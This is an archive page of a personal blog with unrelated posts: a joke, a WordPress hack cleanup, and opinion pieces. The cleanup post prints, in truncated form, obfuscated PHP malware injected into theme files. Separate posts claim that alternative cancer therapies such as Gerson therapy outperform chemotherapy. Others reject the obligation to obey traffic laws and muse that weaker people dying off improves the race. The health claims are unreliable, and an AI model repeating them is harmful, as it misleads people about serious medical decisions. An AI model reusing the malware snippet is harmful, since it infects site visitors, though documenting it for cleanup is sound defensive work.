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Category Archives: Educational
Proof of Presidency
The following true story is told about Mr. Obama, but I believe it applies to each and every (career-) politician out there:
President Obama walks into the Bank of America to cash a check. As he approaches the cashier he says, “Good morning Ma’am, could you please cash this check for me?”
Cashier: “It would be my pleasure sir. Could you please show me your ID?”
Obama: “Truthfully, I did not bring my ID with me as I didn’t think there was any need to. I am President Barack Obama, the president of the United States of AMERICA!!!!”
Cashier: “Yes sir, I know who you are, but with all the regulations and monitoring of the banks because of impostors and forgers and requirements of the Dodd/Frank legislation, etc., I must insist on seeing ID.”
Obama: “Just ask anyone here at the bank who I am and they will tell you. Everybody knows who I am.”
Cashier: “I am sorry Mr. President but these are the bank rules and I must follow them.”
Obama: “I am urging you, please, to cash this check.”
Cashier: “Look Mr. President this is what we can do: One day, Tiger Woods came into the bank without ID. To prove he was Tiger Woods he pulled out his putter and made a beautiful shot across the bank into a cup. With that shot we knew him to be Tiger Woods and cashed his check.”
“Another time, Andre Agassi came in without ID. He pulled out his tennis racquet and made a fabulous shot whereas the tennis ball landed in my cup. With that shot we cashed his check.”
“So, Mr. President, what can you do to prove that it is you, and only you, as the President of the United States?”
Obama stood there thinking, and thinking and finally says: “Honestly, my mind is a total blank… there is nothing that comes to my mind. I can’t think of a single thing. I have absolutely no idea what to do.”
Cashier: “Will that be large or small bills, Mr. President?”
A Tojan of the name JS.Iframe.as going to osa.pl
This is only the second time that one of my site was hacked – not bad for how long I am doing this type of stuff.
Took me a while, amongst other things, because the location of my server changed due to a data-center consolidation. So it was not quite that easy to know why things were going wrong – was it the hack or was it some configuration problem with the new IP?
But eventually all turned out fine and the site is working properly again. As I looked around the net quite a bit and did not find a good solution, I thought I share here in the hope that it might help another soul at some time.
First indication was a report from a message board having deleted a link to the site in question that it was distributing malware. I had not seen anything wrong and my anti virus stuff never told me anything, so the first reaction was to disregard it. But then suddenly I got a message from AVast that it had blocked a bad-bad URL. Now I knew something was wrong. The bad URL was a random subdomain on the top-level “osa.pl” – but a grep over the site did not bring anything about osa or .pl. Then I received another report from my VPS host that this was the JS.Iframe.as trojan.
Not much luck on the net finding info how that might look on infected web sites so that I could start trusty old grep.
Looked a lot through the database dump for clues – forgot to tell, this was a site with a wordpress blog used as CMS – no luck!
Ended up swapping out all the WP code, and updating php to 5.3.8 because some of the info I had found about the osa.pl were indicating that a vulnerability in the 5.2.17 I ran were at fault. None made a difference. I had disabled all plugins – that did not make a difference either – where else could it be?
Finally the good idea came and I should have looked there first: a diff over the theme I was using with an installation that used the same finally gave a long list of differences in a few files – mostly index.php, header.php and footer.php – the code added to the end of these files was:
<?php @error_reporting(0); if (!isset($eva1fYlbakBcVSir)) {$eva1fYlbakBcVSir = “7kyJ7kSKioDTWVWeRB3TiciL1UjcmRiLn4SKiAETs90cuZlTz5mROtHWHdWfRt0Zupm
VRNTU2Y2MVZkT8h1Rn1XULdmbqxGU7h1Rn1XULdmbqZVUzElNmNTVGxEeNt1Zzk
FcmJyJuUTNyZGJuciLxk2cwRCLiICKuVHdlJHJn4SNykmckRiLnsTKn4iInIiLnAkdX5Uc2
…and so on
= “\x65\144\x6f\154\x70\170\x65″;$eva1tYldakBcVSir = “\x73\164\x72\162\x65\166″;$eva1tYldakBoVS1r = “\x65\143\x61\154\x70\145\x72\137\x67\145\x72\160″;$eva1tYidokBoVSjr = “\x3b\51\x29\135\x31\133\x72\152\x53\126\x63\102\x6b\141\x64\151\x59\164\x31\141\x76\145\x24\50\x65\144\x6f\143\x65\144\x5f\64\x36\145\x73\141\x62\50\x6c\141\x76\145\x40\72\x65\166\x61\154\x28\42\x5c\61\x22\51\x3b\72\x40\50\x2e\53\x29\100\x69\145″;$eva1tYldokBcVSjr=$eva1tYldakBcVSir($eva1tYldakBoVS1r);$eva1tYldakBc
VSjr=$eva1tYldakBcVSir($eva1tYlbakBcVSir);$eva1tYidakBcVSjr = $eva1tYldakBcVSjr(chr(2687.5*0.016), $eva1fYlbakBcVSir);$eva1tYXdakAcVSjr = $eva1tYidakBcVSjr[0.031*0.061];$eva1tYidokBcVSjr = $eva1tYldakBcVSjr(chr(3625*0.016), $eva1tYidokBoVSjr);$eva1tYldokBcVSjr($eva1tYidokBcVSjr[0.016*(7812.5*0.016)],$eva1tYidokBcVSjr[62.5*0.016],$eva1tYldakBcVSir($eva1tYidokBc
VSjr[0.061*0.031]));$eva1tYldakBcVSir = “”;$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;$eva1tYldakBcVSir = “\x73\164\x72\x65\143\x72\160\164\x72″;$eva1tYlbakBcVSir = “\x67\141\x6f\133\x70\170\x65″;$eva1tYldakBoVS1r = “\x65\143\x72\160″;$eva1tYldakBcVSir = “”;$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;} ?>
Removing these lines from the end of the theme filed did the job. Then I obviously changed all the file permission to not allow apache to change those files any more.
Last decree was to change the password of the owner of the site and reduce him from an admin to an editor – and tell him to scan his computer.
Now I just have to send him an email with his new password.
Hope this might help somebody sometime.
Posted in Computer, Educational, Internet, Technology
Tagged anti virus, avast, configuration problem, data center consolidation, footer, grep, header php, ip, subdomain, trojan, vulnerability, wordpress
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I never went to the boy scouts
Good that there is Youtube, so that I can make up – at least somewhat – what I missed by never being in the boyscouts.
Like this knot…
House with Bodhi Tree for Sale
Some 25 centuries ago, on the morning of December 8th, by the Japanese Buddhist
calendar, one Siddhartha Gotama Shakya, while sitting in meditation under a fig tree, woke up to the reality of life and the world.
This waking up to reality made him the Buddha Shakyamuni, the “Awakened Onesage of the Shakyas”. The specific type of fig tree under which he sat became known as the Bodhi Tree, in good old Latin – ficus religiosa.
In the good old tradition of Tony Robins many people then tried to imitate the Buddha’s actions and sat under a Bodhi Tree for hours on and, often falling asleep instead of waking up. One of the problems with sitting under THE Bodhi Tree was simple logistics – there is just finite space under one fig tree, even a special one.
So what to do?
The principle of homeopathic was adopted that the essence of this tree could be passed on even in very high dilutions. So, the essence of this one tree in Bodhgaya, India was taken, in form of a leaf, and planted in Anuradhapura, Sri Lanka. A branch of that tree was then given to a Mary Foster to be planted in the Foster Botanical Garden in Honolulu, Hawaii.
A branch from that tree was given to the University of California, Los Angeles (U.C.L.A.) and grew joyously in its botanical garden.
Now the camera zooms in on Max, who, some dozen years ago, was in charge of part of UCLA’s computer systems, and who enjoyed his lunch break in that very UCLA botanical garden. This is how one little branch of that 4th generation bodhi tree ended up in a glass of water in your’s truly house – with the plan for this branch to sprout some roots so that it could be planted and supply the space – in some twenty or thirty years – to mediate under, in order to finally awake.
It was a very difficult birth and early childhood for this fifth generation of bodhi tree indeed. Only with the greatest care was there finally a five-inch baby tree growing in a planter – only to be used by painters as a weight for their tarp when slapping paint on the house. The poor baby tree was beaten up, splattered with paint and almost died.
I nearly gave up there, but we started one last attempt, and this attempt coincided with the birth of our son Zen, who apparently chose his name because he had none of it and it was the goal of this life to gain some – Zen, I mean.
Surprisingly, growing up together, Zen and the bodhi tree, worked like a charm and after two years the tree had already surpassed the child as the picture above shows. The gap in size increased over the years and ten years later the child made to a bit over five feet but the tree grew to at least twenty.
I now have doubts that I will ever sit under this tree to suddenly awake, as the house might have to find a different owner and this tree can certainly not be transplanted. We also learned that by the type of Buddhism practiced in Thailand we made a mistake in planting this tree in our yard – these trees are reserved for temples and monks! But we did some ceremony/exorcism so smooth the waves. The tree is now wearing come colorful clothes around its trunk and all is OK.
Now your call to action – if you always wanted to have a house with a Bodhi Tree to sit under and meditate, now is the time to get in touch with me – going once, going twice, …
Faith-based Medicine
The death of Steve Jobs, succumbing to his fight with cancer, made me contemplate the relationship of access to resources (of which he had much more than anybody else might have) and the choices made for the use of those resources.
Even though traditional medicine has helped me and my loved ones tremendously over the years, I have always been a proponent of the more natural way of approaching health and healing. I am sure that Mr. Jobs had all the help in the world when he was diagnosed with cancer a few years back to find all the options to handle this threat to his life.
Why, with all this information at hand, did he not opt for a natural way dealing with this problem, when there is much information available that shows that the non-invasive and non-toxic approach has a bigger chance of success?
I just listened to Dr. Mercola interviewing Dr. Nicolas Gonzales, who is treating patients with alternative methods for two decades. One quote of Dr. Gonzales might shed some light on the decision process:
The reason Linda McCartney went for a bone marrow transplant is not because she read the data and realized it would work for her. It’s because she believed in it – it was a faith issue. She was going to this priesthood kept in a temple in New York City. They had resources, and she could pay for them. So it was religion to her. Patrick Swayze to the best of the best – Stanford is the West Coast mecca. It’s a religious temple. When he went there, it was faith, even though there’s not a single piece of evidence they gave him that chemo would cure him and would lead to substantial results. He did it because of faith – irrational faith, because it’s the belief that academicians really have these special secrets that none of us have and none of the lay people (we mortals) know. Their special knowledge, wisdom, or rituals would make us better.
The fact that they don’t make us better – Landon died, Patrick Swayze died, Linda McCartney died; I could list 20 celebrities that consulted or called me, never did my program, and are dead because they went to the conventional route.
Why didn’t they do mine?
I don’t have a temple. I don’t even own a white coat. I can wear a white coat – a good one – but I don’t have one on purpose. I’m not part of the academic priesthood, so I don’t wear a white coat. Yes, I have a stethoscope and a medical office like any because I need that, but I’m not part of the academic priesthood.
Michael Landon picked that up right away. In fact, his press agent, Harry Flynn, wanted him to come and see me. Harry and I remained close friends. He was really upset, and one of Landon’s comments about me is that I wasn’t fancy enough. I wasn’t fancy enough, so he went to the priesthood. He went to Cedars-Sinai.
Admittedly, this is just one side’s opinion. We also have to look at the other side. Checking out what Wikipedia tries to tell us about Dr. Gonzales we find a very different picture. Even though the article appears unbiased at first glance, it fails to mention the long term survivors documented on Dr. Gonzales web site and in other publications. This author has personal experiences editing Wikipedia in the area of controversial subjects, showing that objectivity is not something that can be expected from a Wikipedia article on controversial matters – the version of those articles surviving is usually the one supported by the party with the bigger resources.
Back to the subject at hand – would Steve Jobs still amongst us had he taken the more natural approach to healing his cancer? This we will never know, but had he, he surly would not be worse off than he is now. And it might not have worked for him at all as the state of mind is one of the most important in all healing. Undergoing alternative treatment while being afraid that the orthodox treatment would have been the right. will negate all possible benefit.
Fear is, as the old German movie Fear eats soul (Angst essen Seele auf) teaches us, behind all things going wrong.
How any Idiot can beat a Radar Ticket
This article is more for my own benefit, so that I can find it again later should I need to refer to it.
But as I am writing this, mostly for the links to the videos below, I thought to expand a bit, just in case you reach this page by accident. The chances are slim because there are so many more established sources for this info that it is a minor miracle that google would send you here instead to those older links.
My added value to the information below is that you first have to get out of your mind that you did anything wrong by breaking the ‘law.’ There is chances that you did not break the law and it was just a crooked cop below his quota who gave you a ticket anyways but chances are good that you actually went too fast – pretty much all of us do – with the hope not to get caught.
Where the shift in your mind has to come is that deep inner feeling that you actually did something wrong. I am not talking about a situation where you went 90 through a school zone with a high probability of kids playing on the road. That, I would consider criminal because your chances are high that you truly harm another person. I am talking about random rules of men in black robes that say that you can only go 65 mph on that wide open, straight road where you car could safely make 95 without endangering anybody or anything.
If you are a responsible person who would stand up for his actions you do not need a nanny to tell you what you can and can not do and punish you when you break this recommendation. If you own yourself – and I hope you don’t believe otherwise – there is nobody who could possibly tell you what you can or can not do. If somebody tries then you have no more obligation to obey than you have to give your wallet to the mugger you encounter in the dark alley.
It might be prudent to do what the mugger asks you to do (better to lose your wallet than your life) but you would not feel any obligation to obey. To the same tune it is prudent to look out for a cop with a radar gun behind that bush on the side of the road and it might also be prudent to pay a fine if that saves you sanity and a drawn out court battle that cost more of your time than it’s worth – but don’t feel any obligation because you have broken a ‘law’ pushed upon you by some ‘authority.’ Simply, because there is no authority over you if you are not a slave but own yourself.
Armed with this changed state of mind you will be stronger to resist at any possible opportunity to resist legalized muggery and make the mugger follow at least his own rules.
Now, let’s see what a paralegal pastor – what an interesting combination – has to reach us in this classic video series. Some of the things might not be current any more, but take this as a start and don’t feel like an owned subject to ‘authority’ any more.
Here is the first video of a series of 12…
and here is the playlist of all 12.
Posted in Educational, Philosophical, Politics, Video
Tagged breaking the law, crooked cop, nanny, obligation, radar gun, random rules, responsible person, school zone
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There just is not enough money in actually curing cancer
From the Youtube description of the following video:
Raised on a wildlife reserve in Alaska, 15-year-old Garrett was interested in the dietary habits of the farm animals. After the tragic death of his mother, Garrett’s father decided to home-school his son and assigned a book written by Dr. Max Gerson that proposed a direct link between diet and a cure for cancer.
Fascinated, Garrett embarks in this documentary on a cross-country road trip to investigate The Gerson Therapy. He meets with scientists, doctors and cancer survivors who reveal how it is in the best interest of the multi-billion dollar medical industry to dismiss the notion of alternative and natural cures.
I just had to pull out this one frame from that video…
In a few years we will probably shake our heads in dis-believe over today’s physician’s use of toxic chemicals and radiation to ‘cure’ cancer.
The Tiny Dot – Congress v. Americans
I have, in the past, told about Larken Rose and passed on some of his writing. To me it was clear that many – I mean MANY – would not understand what he said or even what his point was.
Maybe this little video he made will change that…
Monty Python’s Chanting Monks
Again, I had to find the chanting monks from Monty Python’s Holy Grail today because I had forgotten the words of that chant.
So, I finally – once and for all – I get it recorded here on my own blog, so that I might find it quick in case of an emergency. Putting more attention and intention on those words, I might actually be able to burn them into my brain as to not forget them any more.
Without further ado…
Pie Jesu Domine – Dona Eis Requiem.
and in case you want to know what that means in English and to save you the time to crack open your Latin books to translate it yourself – it means…
Kind Lord Jesus – Grant Them Rest.
In case you would like to hear the chant I can be of service as well…
Audio clip: Adobe Flash Player (version 9 or above) is required to play this audio clip. Download the latest version here. You also need to have JavaScript enabled in your browser.
And as we are already talking about The Holy Grail, here are the instructions for the use of the Holy Hand Grenade…
First shalt thou take out the Holy Pin,
then shalt thou count to three,
no more, no less.
Three shalt be the number thou shalt count,
and the number of the counting shalt be three.
Four shalt thou not count,
neither count thou two,
excepting that thou then proceed to three.
Five is right out.
Once the number three,
being the third number, be reached,
then lobbest thou thy Holy Hand Grenade of Antioch
towards thou foe,
who being naughty in my sight,
shall snuff it.
Amen!
Posted in Audio, Culture, Educational, Fun Stuff
Tagged chant, chanting, dona eis requiem, holy grail, holy hand grenade, holy pin, monks, monty python, pie jesu domine
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Teach every child about food
Just yesterday I ran into an old blog post on this site looking at Michelangelo’s David after a Big Mac Diet. What was most surprising to me was that there were comments that promoted ideas like “I had fast food as a kid and I’m OK!”
Less than a day later a TED talk by Jamie Oliver comes across my desk (email-inbox) addressing the same subject and actually showing how easy it can be to get David into his world known shape again.
There is only one thing where I believe Mr. Oliver goes wrong – and that is that we need the help of any government to handle the situation. While they were in charge the situation deteriorated so badly, how can be assume that they might be of any assistance to fix it? If you and I just do it right and be an example and don’t spread such misinformation as “I ate it and it did not hurt me” then the problem goes out with a whimper.
And if not then the situation also handles itself – in that the generation of low inner strength will die off – leaving the race with only the stronger elements. Guess I’m a bit pragmatic but I believe the wisdom of nature will find the right way to handle this – no need for misplaced emotional involvement.
Posted in Educational, Inspiration, Philosophical, Video, Wellness
Tagged diet, emotional involvement, fast food, inner strength, jamie oliver, michelangelo, Ted, whimper, Wisdom
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